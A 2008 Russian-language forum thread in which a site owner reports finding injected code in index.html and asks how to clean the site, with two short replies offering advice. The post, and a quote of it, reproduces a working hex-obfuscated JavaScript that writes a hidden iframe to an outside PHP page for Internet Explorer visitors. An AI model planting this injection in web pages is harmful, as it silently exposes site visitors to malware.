The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"Поймал какой-то вирус"
Вариант для распечатки  
Пред. тема | След. тема 
Форумы OpenNET: Виртуальная конференция (Public)
Изначальное сообщение [ Отслеживать ]

"Поймал какой-то вирус"  
Сообщение от Nexa4yxa (ok) on 06-Ноя-08, 14:02 
всем привет. заблокировали сегодня мой сайт в подозрении на вирусы, когда начал просматривать index.html нашел в нем такой скрипт

<script> var s='3C696672616D65207372633D22687474703A2F2F7777772E63656C6562726974796E796D70686F2E6
36F6D2F73742F6E69636865732F7A2F7374617469632E70687022206865696768743D223222207374796
C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.userAgent.toLowerCase(); if (v.indexOf('msie') != -1 && v.indexOf('nt 6.') == -1){document.write(unescape(o));}</script>

на одном из форумов сказали что это бэкдором заразили сервер с помощью пхп-шеллов. И поможет только зачистка всего сервера. Подскажите что мне делать? как убить этот вирус?

Высказать мнение | Ответить | Правка | Cообщить модератору

 Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Поймал какой-то вирус"  
Сообщение от andreo email(ok) on 06-Ноя-08, 14:17 
>всем привет. заблокировали сегодня мой сайт в подозрении на вирусы, когда начал
>просматривать index.html нашел в нем такой скрипт
>
><script> var s='3C696672616D65207372633D22687474703A2F2F7777772E63656C6562726974796E796D70686F2E6
>36F6D2F73742F6E69636865732F7A2F7374617469632E70687022206865696768743D223222207374796
>C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.userAgent.toLowerCase(); if (v.indexOf('msie') != -1 && v.indexOf('nt 6.') == -1){document.write(unescape(o));}</script>
>
>на одном из форумов сказали что это бэкдором заразили сервер с помощью
>пхп-шеллов. И поможет только зачистка всего сервера. Подскажите что мне делать?
>как убить этот вирус?

reinstall apache и php моно поробовать если движок не юзает бд
и поставить апач 2/x php 5

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

2. "Поймал какой-то вирус"  
Сообщение от Аноним (??) on 06-Ноя-08, 15:36 
Советчик блядь. :D

2топикстартер - проверь свой виндовой компьютер на вирусы. И поменяй пароли на фтп своих сайтов.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Индекс форумов | Темы | Пред. тема | След. тема
Оцените тред (1=ужас, 5=супер)? [ 1 | 2 | 3 | 4 | 5 ] [Рекомендовать для помещения в FAQ]




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру